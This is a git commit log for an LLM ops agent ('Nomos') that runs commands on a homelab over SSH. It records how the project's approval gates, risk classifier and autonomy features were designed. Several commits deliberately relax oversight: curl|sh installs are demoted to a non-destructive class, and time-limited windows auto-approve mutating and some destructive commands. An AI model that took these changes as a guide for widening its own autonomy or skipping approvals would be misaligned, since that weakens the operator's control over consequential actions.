changes. SSE test still green (it parses data: lines).

Verified in the browser against the live stack: the board renders 50 tasks
with correct status buckets; a goal-driven task appears and flips to a Done
card with its summary in real time without a reload; Events page confirms the
stream now delivers to onmessage.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 13:22:27 +02:00
014e5c74e0 feat(tasks): phase 5 — ask_operator (structured question, pause, resume)
The last backend piece: when the agent hits a decision only the operator can
make, it surfaces a structured question instead of guessing or stalling.

- ask_operator(prompt, why?, options?, context_entities?): nomos-local tool
  that records a session_questions row, moves the task to awaiting_input, emits
  question.raised, and ENDS the turn (the agent loop returns after it, so the
  agent can't barrel past its own question). The prompt becomes the assistant's
  visible message so the question also shows inline in the transcript.
- Two resume paths, both close the question + emit question.answered + return
  the task to executing:
  - Panel: POST /sessions/{id}/questions/{qid}/answer → resumes the agent in the
    background with the answer injected (reusing the continuation machinery,
    refactored continueSession → resumeSession). Returns 202; the reply lands via
    message polling.
  - Chat reply: the next chat message on a task with an open question IS the
    answer — auto-closed in handleChat; the turn itself is the resume.

Verified end-to-end: forcing a decision paused the task at awaiting_input with
the structured question (prompt/why/options/entities); a panel answer resumed
the agent (it acknowledged host:strong and continued); a plain chat reply
auto-closed a second question. Cleanup + tests green.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 13:00:15 +02:00
be3ce761d4 feat(tasks): phase 4 — structured plan steps (set_goal/propose_plan/update_plan_step)
Gives a task a legible, live-advancing plan via three more nomos-local tools:

- set_goal(goal): records the task goal, status → planning, emits goal.set.
- propose_plan(steps[]): persists ordered steps (clean replace for v1 — a
  revision starts a new list), status → executing, emits plan.proposed with
  the persisted steps (id+seq) so the panel can address them.
- update_plan_step(seq, status, execution_id?): advances a step, stamping
  started_at/finished_at, emits plan.step.started/finished. Anchors the event
  to the step's target entity when it has one.

Belt-and-suspenders: when an execution linked to a step reaches a terminal
state, the api auto-closes the step (closePlanStepForExecution in
emitExecutionEvent) and emits plan.step.finished — so the board stays honest
even if the agent forgets to close a step it started.

Verified end-to-end: a goal-driven task fired goal.set → plan.proposed →
2× step.started/finished → task.status on the SSE stream; both steps persisted
done with start/finish timestamps; status progressed planning→executing→done.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 12:50:27 +02:00
532310bb4b feat(tasks): phase 3 — close the knowledge loop (complete_task + retrieval)
Adds the compounding knowledge loop the task model is built around:

- complete_task(outcome, summary): a nomos-LOCAL, session-scoped tool (the
  shared MCP server has no session id). Introduces the local-tool mechanism —
  buildTools appends task tools, the agent loop routes them to handleTaskTool
  instead of the MCP client. Sets the task's terminal status/outcome/summary,
  mirrors it onto the task entity, and emits task.status.
- Knowledge → task linkage: after a successful upsert_knowledge in a task,
  nomos links the note to the task entity (documents) and emits
  knowledge.recorded, so the task's outcome view shows what it learned. The
  note's about-link to the involved entity (written by upsert_knowledge) is the
  retrieval path future tasks use.
- SOUL: every chat is a task loop — retrieve prior knowledge FIRST
  (get_entity_knowledge on the target), plan, execute, record learnings, then
  complete_task. Scales down for trivial read-only tasks.
- deleteSession now cleans up the task entity, its relationships, and its
  task-scoped events (was orphaning them); the knowledge doc itself and its
  about-links survive, as knowledge should outlive the task.

Verified end-to-end: a task recorded a note and completed; task.status +
knowledge.recorded hit the SSE stream; status=done/outcome=success persisted;
the note linked to both lxc:caddy (retrieval) and the task; a future
get_entity_knowledge(lxc:caddy) surfaces it; delete cleaned edges+events (0/0/0)
while the knowledge survived.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 12:43:29 +02:00
3dba2e550a feat(tasks): phase 2 — entity.touched events + task→entity involves edges
As the agent runs a task, record which entities each tool call references:
write an idempotent task —involves→ entity relationship and publish one
entity.touched event per entity (correlation_id = session, data {slug,tool}).
Extracted from tool ARGS only — never results — so a bulk fleet query can't
drag every entity into the task graph; bulk/no-slug tools stay silent.

Emitted from the nomos agent loop rather than the shared MCP wrapper, which
has no session id. The involves edges make a task's graph neighborhood its
involved-entity set (queryable via get_relations) — the substrate for the
knowledge loop; the events are the live pulse the context panel consumes in
phase 6.

Verified end-to-end on the local stack: a chat referencing lxc:caddy/lxc:gitea
produced entity.touched on the browser SSE stream with slug+tool+correlation,
and exactly one involves edge per entity despite repeated touches.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 12:35:27 +02:00
72e9fe534e feat(tasks): phase 1 — elevate chat session to a task (schema + task entity)
Migration 018 adds goal/status/outcome/summary/entity_id to agent_sessions
and creates session_plan_steps + session_questions. Registers a 'task'
entity type and an 'involves' (task→entity) relationship in the ontology
so each session anchors its knowledge and involved-entity edges on the
existing relationships graph.

nomos createSession now mints a task:<session-id> entity (type task) and
links it via agent_sessions.entity_id — best-effort so chat never blocks on
it. listSessions/GET /sessions surface the new task fields.

No behaviour change yet; this is the data foundation for the task board and
live context panel. Verified end-to-end against the local stack: migration
applied, ontology ingested (60 types/47 rels), a new session mints a linked
task entity and the API returns status/goal/entity_id.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 12:25:28 +02:00
eed6e3b1c5 docs: task-centric chat plan (goal → single-approval → autonomous + knowledge loop)
Reframes the chat surface as a board of tasks: each task carries a goal,
a plan approved once, a lifecycle status, an outcome, and a knowledge
loop that links learnings to the involved entities (and the task entity
itself) via relationships so future tasks compound. Supersedes the
sidebar-only framing and the free-form chat portion of the control-room
web UI plan.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-11 12:17:36 +02:00
ef5a92269b docs: reconcile plans/ status against actual code state
Audited all 10 active plan docs against the codebase (not just commit
titles). 5 were fully shipped and stale-tagged "Planned"/"In Progress" —
moved to done/ with verification notes. The other 4 got corrected
Planned→In Progress status plus concrete remaining-gap notes so the next
pass doesn't re-derive what's already done.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-11 11:42:26 +02:00
52e16e04ca feat: Learning page — capability timeline + trend, built on real data
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The plan's "learning view" (runbook success-rate trends, promoted
skills, capability timeline) assumes the patterns/skills/feedback
pipeline is populated. It isn't: all three tables are empty in
production and nothing in the codebase ever writes to feedback, so
building the UI against them today would ship a permanently-empty
page. Scoped instead around data that's real and growing —
executions — while still wiring up /patterns and /skills so the page
needs no rework once that pipeline exists.

New /api/v1/learning/timeline (per-verb first-success date + success
rate, parsed via the existing splitAction helper) and
/api/v1/learning/trend (30-day daily success/fail counts), both
read-only queries against executions. Patterns and skills sections
call the existing (untouched) ListPatterns/ListSkills endpoints and
render an explanatory empty state instead of nothing.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-10 21:28:19 +02:00
6192c35c10 fix: close approval bypass in restart/systemctl/pct_exec
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Found live: a chat request to restart caddy (the reverse proxy for the
whole fleet) executed instantly over SSH with zero approval. Root
cause was in request_execution's legacy handler — restart, pct_exec,
and systemctl (outside enable/disable) executed immediately with a
hardcoded risk_class='reversible_low' that was never actually checked
against anything, bypassing the classifier entirely. Only the `run`
tool's commands were ever gated.

Extracted the run tool's classify -> execute-or-queue logic into a
shared classifyAndGate() and route restart/pct_exec/systemctl through
it too, so every mutating path — regardless of which tool the model
reaches for — gets the same read-only/config-mutation/destructive
classification and approval gate. systemctl restart is already covered
by an existing classifier test (config_mutation), so no new test
needed; the gap was that request_execution never called the
classifier at all.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-10 21:03:38 +02:00
682326382e feat: surface blast radius on approval cards
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Pending-approval cards showed target and risk but not what else the
action would affect — the operator approved config_mutation/destructive
commands blind to downstream impact, even though the graph-walk
(blast_radius() SQL, GetBlastRadius endpoint) already existed and was
just never wired into the approval path.

Fetch it once per pending approval and render "Affects N downstream: …"
on both the normal and destructive approval cards, reusing the existing
fetchBlastRadius() API client function which was already written but
unused anywhere.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-10 20:52:05 +02:00
ac48390796 feat: global activity feed + session digest
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Ops "Executions" tab showed raw target UUIDs, alphabetical (not
recency) order, and a stale status vocabulary from an earlier schema
iteration — never actually usable as a live "what's happening" view.
Replaced with a new recency-ordered /api/v1/activity/recent endpoint
and matching table (human-readable action summaries, risk/status
badges, duration, inline error preview).

Also added /api/v1/activity/session/{id} + a collapsible SessionDigest
panel in the chat rail, answering "what did this session actually do"
(executions by status, entities touched, knowledge written) — the
missing piece for proactive outcome reporting to be visible in the UI,
not just in the chat transcript.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-07-10 20:09:09 +02:00
40999b0b40 fix: knowledge/recent returned empty items — timestamptz couldn't scan into string
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Verified live immediately after deploying: the endpoint returned 200 with
correct-looking stats (total=56, agent_authored=2) but items=[] always,
regardless of limit/source. Root cause: pgx v5 can't scan a timestamptz
column directly into a Go string — Scan() errored on every single row, and
that error was silently swallowed by a bare `continue`, so every row was
dropped with no trace in the logs. Fixed by casting updated_at::text in the
SQL (matching how every other handler in this codebase already returns
timestamps) and logging scan failures instead of swallowing them, so this
class of bug can't hide silently again.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 19:26:48 +02:00
ec41c0b828 feat: learning view — make the growing knowledge base visible
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First slice of the observability/learning UI (the "see the system come alive
and learn" ask). The Knowledge page was search-only — blank until you typed —
so the knowledge Nomos now writes via upsert_knowledge was invisible unless
you knew to search for it. Now the page LEADS with what the system knows and
is learning:

- internal/httpapi/knowledge.go: GET /api/v1/knowledge/recent — recency-ordered
  knowledge + a stats header (total, agent-authored, learned-this-week,
  by-kind). Custom route (not OpenAPI-generated), same auth as the rest.
- web Knowledge page rewrite: stat cards up top (Total / Written by Nomos /
  Learned this week / runbooks-investigations), then a "Recently learned" feed
  with agent-authored notes highlighted and badged "learned by Nomos", tags,
  and relative timestamps. A toggle filters to Nomos-only. Search still works,
  now as a mode you enter/clear rather than the whole page.

This turns "the system is getting smarter" from a claim into something you
watch fill up: every gotcha the agent records shows here within seconds.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 19:22:35 +02:00
60edff2065 feat: knowledge write-back (upsert_knowledge) + proactive outcome reporting
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From the last (successful) TypeType deploy session, two gaps the operator hit:

1. Knowledge write-back — the missing half of the loop.
   The agent could read the knowledge base (search_knowledge/get_entity_knowledge)
   but had no way to WRITE it, so everything it learned (the Dragonfly memlock
   rlimit gotcha, the NAT-hairpin DNS issue, etc.) lived only in an ephemeral
   chat message and was lost — the system could never actually "get better."
   This is the `upsert_knowledge` MCP tool the 2026-07-08 gaps plan called for.
   - internal/mcp/server.go: upsert_knowledge(title, content, about?, tags?,
     kind?) writes a document/investigation/runbook entity + knowledge_entities
     row (search column is generated), upserts by slug so re-titling updates in
     place, and optionally links it to the entity it's about so
     get_entity_knowledge surfaces it there.
   - SOUL.md: capture non-obvious findings/deploys/gotchas as part of finishing
     work, not only when asked "what did we learn".

2. "I had to ask for status multiple times."
   The clearest cause: a long working turn (64 tool calls) that exhausted the
   iteration cap ended with a bare "max iterations reached without final
   answer" — a dead end that forced the operator to ask what happened.
   - cmd/nomos/agent.go: on exhaustion, make one final no-tools LLM call
     (finalSummary) asking for a status report — what was accomplished, current
     state, what remains — so the turn always ends with a real outcome.
   - maxIterations 25 -> 40 (the decomposed per-step pct_create flow legitimately
     needs more steps).
   - SOUL.md: always end a turn with a clear outcome; never end silently or on a
     bare tool call — the operator can't see the tools working and reads silence
     as "nothing happened".

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 19:07:11 +02:00
233b5e4519 feat: live visibility into what the agent is running (no more silent waiting)
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Operator: "I'd like to be able to see in the chat what the agent is actually
running, right now I just wait while nothing happens." Two compounding gaps:

1. The auto-continuation worker (cmd/nomos/continue.go) had zero live push —
   its result only appeared on a manual page reload, so approving a plan and
   watching the chat looked completely dead even while the agent was actively
   working.
2. Even with polling, continueSession only persisted ONE message at the very
   end of a continuation — a continuation that runs several tool calls before
   concluding would still show total silence for however long that took.

Fixed both:
- web/src/lib/stores/chat.ts: polls the current session's messages every 3s
  between turns (never while a live stream owns the message list) and merges
  in anything new. Started after a live turn ends and when a session loads;
  stopped on new-chat/session-switch.
- cmd/nomos/store.go: insertMessageReturningID/updateMessage — lets a message
  be created as a placeholder and updated in place.
- cmd/nomos/continue.go: continueSession now inserts a placeholder the
  instant it starts (renders as the existing "thinking" dots — immediate
  feedback that something is happening) and updates that SAME row after
  EVERY tool call, not just at the end. A poll within ~3s of any tool call
  landing shows it — individual `run` commands appear as the agent issues
  them, not just the final rolled-up summary.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 15:20:10 +02:00
13458e467c fix: the actual root bug — assent-window auto-approve never dispatched work at all
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The previous commit fixed a context-cancellation bug in the auto-approve path
and appeared to fix things, but re-testing end-to-end after deploy showed the
execution STILL never completed — just via a different symptom
("no pending execution found for approval" in the logs). Dug further and
found the real, deeper bug underneath: this whole mechanism has never
actually worked.

autoApprove() directly flipped BOTH approvals.status and executions.status to
'approved' via raw SQL, then called executeApprovedViaAPI to POST to the
decision endpoint. But DecideApproval's own logic specifically looks for the
execution still at status='pending_approval' to find and dispatch the real
SSH work (executeApprovedAction) — autoApprove's premature flip meant that
lookup always found zero rows. DecideApproval's UpdateApprovalStatus call
also silently no-ops the same way (sqlc :exec doesn't surface "0 rows
affected" as an error). Every assent-window auto-approved pct_create/
apt_upgrade has been sitting at 'approved' forever with the real work never
triggered — indistinguishable from "still running" until you check.

Fix: remove autoApprove() entirely. Call executeApprovedViaAPI directly
against the untouched pending_approval row from createApproval — identical
to the manual Approve-button path, just without the human click. DecideApproval
is now the single place that transitions status and dispatches, for both the
manual and auto-approved paths, closing the class of bug where two code paths
raced to do the same state transition.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 15:00:40 +02:00
7387df3276 fix: assent-window auto-approve goroutine used the request-scoped context
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Verified live testing the new atomic pct_create: an assent-window
auto-approved pct_create appeared to "run" (logged "auto-approved... running
now") but the execution stayed stuck at 'approved' forever. Root cause:
`go executeApprovedViaAPI(ctx, ...)` passed the MCP tool-call's own context —
which is cancelled the instant the triggering /chat request's HTTP response
completes, i.e. on every normal turn. The spawned goroutine's POST to the
approval-decision endpoint died with "context canceled" before it could even
start the real work, and nothing surfaced this to the operator or the agent —
the execution just sat at 'approved' with no error, indistinguishable from
"still running."

This is exactly the context-lifetime bug class httpapi's own approval
goroutine (executeApprovedAction) already avoided by using
context.Background() — it had just been missed in these two call sites
(apt_upgrade and pct_create auto-approve). Fixed both to use
context.Background(), matching the correct pattern already in place
elsewhere. Audited for other goroutines spawned with a request-scoped ctx —
none found; the sshExec internal goroutines are synchronous/waited-on via
select and correctly scoped to the call.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 14:51:52 +02:00
2e922f6421 feat: decompose pct_create into atomic create + agent-driven install; add scoped destructive window
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Closes the two remaining open points from the auto-continuation work.

1. Atomic pct_create (observability, the bigger of the two):
   pct_create used to bundle create + apt install + post_install script into
   one black-box multi-minute SSH call — the agent got back a single opaque
   success/fail with no way to see (or fix) which step actually broke.
   Removed the whole post-create provisioning block (and the now-dead
   provisionScript/sanitizePkgs helpers + their tests). pct_create is now
   create + start + register ONLY — fast, and its result is fed back to the
   agent via auto-continuation almost immediately. The agent installs
   packages and runs setup as its OWN sequence of `run` calls against the new
   lxc:<hostname>, observing each command's real output and able to diagnose
   and retry exactly the step that failed — the same recovery loop already
   proven for the general case, now applied to installs too, instead of
   requiring a separate black-box mechanism.
   - services/post_install removed from the pct_create params struct and
     from the MCP tool schema/SOUL.md docs.
   - SOUL.md: explains the new flow, moves the Docker CLI gotcha and DNS
     troubleshooting guidance to be steps the agent runs itself.

2. Scoped destructive window (targeted autonomy for recovery):
   Verified live in the previous session that a destructive recovery (a
   failed destroy needing stop-then-destroy on the same container) required
   TWO separate typed confirmations for what was clearly one recovery
   action. Added a narrow, TARGET-scoped 15-minute grant
   (destructive_window.agent:<id>.target:<slug> in autonomy_settings,
   shared key format across cmd/nomos and internal/mcp) that opens only
   after an EXPLICIT typed confirmation (never loose assent) or an explicit
   button-approval of a destructive step, and only ever covers further
   destructive commands against that SAME target. A different target always
   needs its own fresh confirmation — this narrows risk instead of loosening
   it globally, unlike broadening the general assent window to cover
   destructive actions would have.
   - cmd/nomos/store.go: openDestructiveWindow/destructiveWindowActive/
     executionTarget.
   - cmd/nomos/agent.go: opens the window when a typed confirmation grants a
     destructive chat-assent execution.
   - internal/mcp/server.go: `run` tool checks the window before gating a
     destructive command; auto-runs if active.
   - internal/httpapi/phase3.go: DecideApproval opens the same window when a
     destructive execution is approved via the button/API, for parity with
     the chat-assent path.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 14:45:09 +02:00
6f9998fa29 fix: auto-continuation silently dropped LLM errors + added outer retry
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Verified live: the new auto-continuation worker (previous commit) worked end
to end for the happy path (provision -> auto-verify -> report success, zero
operator ticks). But testing a failure-recovery case (a destroy that failed
because the container was still running) surfaced a real bug: continueSession's
emit closure only captured "text" events, so when chatWith ended the turn on
an "error" event (LLM returned an empty/refusal response, internal retry also
empty), the worker persisted a completely blank, uninformative "auto" message
— no sign anything had gone wrong, undermining observability of the very
mechanism just built.

- Capture "error" events and, if the turn produced no text/tool_calls at all,
  persist an explanatory placeholder instead of blank.
- Add one outer retry of the whole chatWith call when the first attempt
  produces nothing — the principle behind this whole feature ("don't give up
  on the first error") should apply to the continuation mechanism itself, not
  just the homelab commands it's continuing.

Also verified live: recovery-from-failure works via the normal chat path once
prompted, and cleaned up the test container.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 14:30:23 +02:00
d2f749d33d feat: event-driven auto-continuation — agent runs an approved plan to completion
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The root cause behind "the agent stops at the first error and doesn't recover":
provisioning executions run ASYNCHRONOUSLY (pct_create fires the SSH work in a
goroutine and returns "running" immediately), so the agent's turn ENDS before
the result exists. The agent literally isn't running when the step fails — it
can't react to a failure it never observes. The only thing that fed results
back was the operator typing "continue" after every async step: the human was
the event loop. (In the flagged 18-message session the operator typed
continue/proceed/?? eight times while the agent correctly diagnosed each failure
but couldn't advance a step on its own.)

This makes the system the event loop instead:

- migrations/017: nomos_plan_executions links each gated execution to the chat
  session that started it.
- cmd/nomos: after a tool result, any "execution <uuid>" it started is linked
  to the session. A background worker (continue.go) polls for those executions
  reaching a terminal state and — while the agent has an open assent window (an
  approved plan is in flight) — re-invokes the agent with the result
  ("execution X completed/failed: <result>"), so it proceeds to the next step
  or diagnoses+fixes the failure, with no operator tick. Guarded against loops
  (mark-continued before running) and bounded by the 30-min window.
- chatWith(): chat() variant that injects the finished-execution note after
  replayed history without persisting a fake user turn.
- DecideApproval: approving a step by ANY route (button or chat-assent) now
  opens the assent window, so auto-continuation works regardless of how the
  operator approved — previously only typing "go ahead" opened it.
- SOUL: the agent is told it will be auto-re-invoked when async steps finish —
  don't poll get_execution_status, don't wait for "continue"; end the turn and
  keep going step by step until the goal is verified or a genuine blocker.

This is the root fix, not another per-command patch: you can't enumerate every
failure of an unbounded action space, but you can give the agent a loop that
observes each result and adapts — because "do anything" always includes "the
first attempt failed."

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 14:19:43 +02:00
c3699157ae fix: chat-assent chicken-and-egg + agent stops after errors
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Three fixes for the session where the agent proposed a plan, waited
for 'proceed', then re-queued instead of being auto-approved:

1. Chat-assent fallback: when the operator says 'proceed' but the
   preceding turn had NO pending approvals (agent proposed plan in text
   without calling request_execution), inject a system note telling the
   agent to execute the plan now. Opens the assent window so subsequent
   config_mutation commands auto-run.

2. SOUL.md: instruct agent to ALWAYS call request_execution/run when
   proposing a plan, not wait for 'proceed' first. This ensures a
   pending approval exists for chat-assent to grant.

3. SOUL.md: stronger Docker instructions — Debian 13's docker.io package
   installs the daemon but NOT the docker CLI binary. Must use
   get.docker.com in post_install. Added 'handling errors' section:
   diagnose, try alternatives, continue — don't stop after one failure.
2026-07-10 13:51:04 +02:00
7ff344ab47 feat: request_execution respects assent window — pct_create and apt_upgrade auto-approve
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When the operator has approved a plan via chat assent (assent window
active), pct_create and apt_upgrade now auto-approve and execute
instead of queuing for a separate approval round. The auto-approve
path updates the approval+execution status in the DB, then calls the
HTTP API's decision endpoint to trigger executeApprovedAction — same
code path as a manual Approve button, consistent audit trail.
2026-07-10 13:33:31 +02:00
657e1a8be1 feat: assent window + compound read-only classification + continue-after-approval
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Agent stopped after every approval step, forcing operator to type
'continue' 7× per deploy session. Root causes and fixes:

1. Compound read-only commands (e.g. 'systemctl status; journalctl')
   defaulted to config_mutation — now splits on ;/&&/||/| and classifies
   as read_only if all segments are inspection verbs. Added grep, wc,
   sort, uniq, cut, tr, dpkg -l, apt list, docker stats to allowlist.

2. curl|sh was classified destructive, forcing typed confirmation for
   legitimate installs (get.docker.com). Demoted to config_mutation —
   loose assent grants it, no typed phrase needed.

3. SOUL.md said 'STOP after queuing' — replaced with 'continue working
   on non-blocked steps'. Added assent window section instructing agent
   to carry out the full plan after approval.

4. Assent window: when operator approves a plan via chat assent, a
   30-minute window opens where config_mutation commands auto-run
   without re-approval. Agent writes expiry to autonomy_settings; MCP
   run tool checks it before gating. Destructive never auto-runs.

5. System note after approval now says 'CONTINUE executing the full
   plan — do not stop and wait for continue.'
2026-07-10 13:10:57 +02:00
7a7ce2b89b fix: gateway pre-flight check could never actually fail
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Verified live that after deploying the "fixed" bridge-bound pre-flight, it
still let a known-bad vmbr0+192.168.8.2 config straight through to a full
pct_create with no error. Root cause: the check used
`strings.Contains(pingOut, "REACHABLE")` against markers "REACHABLE" /
"UNREACHABLE" — but "UNREACHABLE" contains "REACHABLE" as a substring, so the
containment check was true for BOTH outcomes. The pre-flight was structurally
incapable of ever failing, regardless of the actual ping result.

Fixed with distinct, non-overlapping markers (PREFLIGHT_OK/PREFLIGHT_FAIL)
and exact-match comparison, pulled into a small gatewayPreflightPassed()
helper with a unit test asserting the exact historical bug case
("UNREACHABLE" must be false) so this bug class can't silently recur.

Re-verified live end-to-end: manually re-tested the exact ping command
(confirmed UNREACHABLE via vmbr0), and this was caught only by actually
running the check against production, not by reading the code.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 12:02:42 +02:00
3f3de18b23 fix: pre-flight gateway ping must bind to the specific bridge, not the host default route
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Verified live that the pre-flight check added in the previous commit had a
real gap: a plain `ping <gateway>` from the Proxmox host succeeds via the
HOST's own routing table (which can have routes to a subnet through paths
the host alone knows about), even when the CONTAINER — attached via a plain
bridge with only a naive on-link default route — can never actually ARP that
gateway. Confirmed by creating a real test container on vmbr0 with
gw=192.168.8.2: the host-wide ping had said "reachable," but pinging from
inside the container showed 100% packet loss. Fixed by binding the pre-flight
ping to the specific requested bridge (`ping -I <bridge>`), which correctly
rejects vmbr0 for that gateway instead of false-positiving via the host's
broader routing table.

Also confirmed live: vmbr1 does exist and is up on strong (contrary to the
possibly-stale host doc), matching what romm/seanime's docs already said.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 11:55:53 +02:00
82b0ad2298 fix: pct_create fast gateway pre-flight + bridge param (real root cause of TypeType's DNS failures)
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Investigated why the operator couldn't get past "no DNS/connectivity" across
multiple retries even after Nomos correctly diagnosed and fixed the gateway
(192.168.8.1 -> 192.168.8.2). It still failed. Root cause, confirmed from
strong's own documented network topology: on `strong`, vmbr0 physically
bridges only to 192.168.178.0/24 — the 192.168.8.0/24 service network is
reached via a Fritz!Box static route, not a local bridge. A container
attached to vmbr0 can never reach a 192.168.8.x gateway no matter which
address in that range is picked; ARP for it just gets silently dropped
(matching the earlier hang symptom). The gateway was never the problem — the
bridge was. 192.168.8.0/24 is also segmented into /28 blocks each with their
own gateway (192.168.8.2 is only the .0-.15 block's gateway), so even a
correct bridge with a copy-pasted gateway from a different block would still
fail.

No amount of retrying with a different gateway guess could have fixed this —
the missing fact (which bridge reaches which subnet, and the per-/28 gateway)
isn't inferable from the subnet alone.

- pct_create gets a `bridge` param (was hardcoded to vmbr0) so a correct
  bridge can actually be requested once known.
- Fast pre-flight: for any static IP, ping the gateway from the target HOST
  before creating anything. Was: a bad config took a multi-minute hang (or,
  after last commit's timeout fix, ~2min) before failing. Now: ~2 seconds,
  with a message that explicitly says not to guess a different gateway in
  the same subnet — find a real neighbor's config or use DHCP.
- SOUL.md: DHCP is now framed as the default, not a fallback; static IP
  requires finding an existing LXC on the same host in the same /28 and
  copying its bridge+gateway verbatim — inventing one is explicitly called
  out as the failure mode that caused this exact incident.
- MCP tool schema: pct_create's params description now documents `bridge`
  and the neighbor-copy rule directly in what the model reads at call time,
  not just in SOUL.md.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 11:48:06 +02:00
8950bada44 fix: sshExec had no timeout — a hung remote command blocked forever
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Root cause of "running for 10+ minutes without stopping": a real production
execution (TypeType pct_create) was found genuinely stuck 17+ minutes into a
single blocking SSH call. The container's post_install script was looping on
`getent hosts deb.debian.org`, waiting on a network that could never come up
— the operator's static IP config used gw:192.168.8.1, but the actual gateway
on that subnet is 192.168.8.2, so every network call hung instead of failing
fast (packets dropped, not rejected).

Two compounding bugs made this unrecoverable without manual intervention:

1. sshExec (both internal/httpapi/phase3.go and internal/mcp/server.go) had
   NO execution timeout — `session.CombinedOutput()` blocks until the remote
   command exits, with no deadline. A hung remote process blocks the Go
   goroutine forever; the execution can never leave 'running', and the
   operator has no way to make it stop. Fixed: both now race the SSH call
   against a 10-minute hard timeout, closing the session/client and
   returning a clear "timed out after 10m0s" error if exceeded. (The
   mcp/server.go copy also still had the original "swallowed non-zero exit"
   bug from before that fix was applied to httpapi's copy only — fixed here
   too.)

2. provisionScript's DNS-wait loop assumed `getent hosts` fails fast on no
   connectivity — it doesn't; a black-holed network can make each call hang
   far past the resolver's nominal timeout, so the documented "~90s" budget
   was never real. Wrapped every attempt in `timeout 3` so the wall-clock
   budget is now actually enforced (~2min worst case), and the failure
   message now suggests checking the net0 gateway.

Also fixes the matching UI-side gap (operator's literal question: "is there
a way to get more details? it has been running for 10+ minutes without
stopping"):

- InlineApproval's track() polling loop had its own ~6min ceiling and simply
  STOPPED polling after that — silently going stale before the backend (now
  correctly capped at 10min) could ever resolve. Raised to a 14min ceiling
  with margin, and added a distinct 'stalled' state if that's ever exceeded
  (explicitly says something's wrong, rather than freezing silently).
- The running-card now shows live elapsed time (ticking, from the
  execution's created_at), the actual command being run, and the execution
  ID — previously just a static "this can take a minute" with zero
  information. Also added command display to the destructive pending-
  approval card for full transparency before confirming.

Verified live end-to-end in a real browser (dev server proxying to
production): queued a real command via chat, approved via the button,
watched the elapsed-time counter tick in real time, and saw it transition to
a completed card with real output once the command finished.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 10:45:47 +02:00
f936098364 fix: approval UI was never mounted; add typed confirmation for destructive
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Root cause of "chat gave me no further feedback — had to go to Ops": two
compounding bugs, found by reading the actual production session transcript.

1. InlineApproval.svelte — all of last session's live-status/self-heal work —
   was never imported or rendered anywhere. Chat.svelte had its own separate,
   much dumber approval bar (no status tracking, no destructive handling, just
   silently disappears after clicking) that WAS the one users actually saw.
   Deleted the dead bar and its state; InlineApproval now renders per-message.

2. chat.ts's extractApprovals hardcoded `tool.name === 'request_execution'`,
   so any approval raised by the newer `run` tool was invisible — no card, no
   feedback, nothing to self-heal, forcing the operator to the Ops page with
   zero acknowledgement in the conversation. This was the actual proximate
   cause of last night's destroy-135 session. Fixed to match on response
   shape, not tool name, so it doesn't silently break again for the next new
   gated tool.

3. Nomos was telling operators "type something like 'I confirm destroy 135'"
   for destructive actions (SOUL.md) but no backend path ever consumed that
   phrase — chat-assent explicitly (and correctly) excludes destructive from
   loose assent, but I never built the alternative. Added
   isTypedConfirmation() (cmd/nomos/assent.go): stricter than loose assent,
   requires an explicit "confirm" statement, only applies to destructive-
   flagged pending approvals.

4. InlineApproval's completed-state hardcoded "Provisioned successfully" —
   wrong/confusing for a destroy or arbitrary `run` command. Now says
   "Completed on <target>" and shows the actual command output, verified live
   against the real destroy-135 execution.

Verified live in a real browser against the production API/DB (dev server
proxying to :8090): the historical stuck session now retroactively renders
both executions as resolved with correct wording and real output.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 10:01:53 +02:00
d08a985ea9 fix: execution slug collision under back-to-back requests
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Live testing hit `entities_slug_key` violations: exec slugs used an 8-char
prefix of a UUIDv7, whose leading bytes encode a millisecond timestamp — two
executions created seconds apart can share a prefix. Use the full UUID
(guaranteed unique) for the exec entity's slug/name in request_execution, the
new `run` tool, and the REST RequestExecution handler — all three had the
same pattern.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 09:37:08 +02:00
9539759db6 fix: NULL-scan bug in LXC target resolution for entities without a host attribute
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Found live: `run` against lxc:caddy failed with "missing pve_id" even though
pve_id=121 was present — caddy is an inventory-seeded LXC with no `host`
attribute at all (only pct_create-provisioned LXCs set one). The combined
query scanned attributes->>'host' (SQL NULL) into a plain Go string, which
errors the whole Scan — including the pve_id column that scanned fine.
COALESCE the host column to '' so a missing host attribute degrades to the
documented default instead of failing the whole resolution.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-07-10 09:32:45 +02:00
d52968876a feat: general gated run primitive + chat-assent approval (Layer 0)
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Implements the first slice of plans/2026-07-10-general-gated-execution.md:
Nomos gets one general execution tool instead of only a fixed action enum,
gated by an automatic risk classifier, and approval can be granted by the
operator just replying in chat instead of clicking a button.

